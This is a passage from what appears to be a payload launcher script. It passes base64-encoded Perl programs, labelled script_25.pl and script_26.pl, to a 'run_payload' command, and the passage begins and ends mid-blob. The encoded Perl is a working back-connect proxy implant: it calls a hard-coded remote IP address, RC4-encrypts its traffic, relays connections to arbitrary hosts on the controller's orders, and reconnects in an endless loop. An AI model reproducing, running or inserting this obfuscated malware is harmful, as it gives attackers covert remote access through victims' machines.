JCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_25.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc0JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_26.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc1JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCA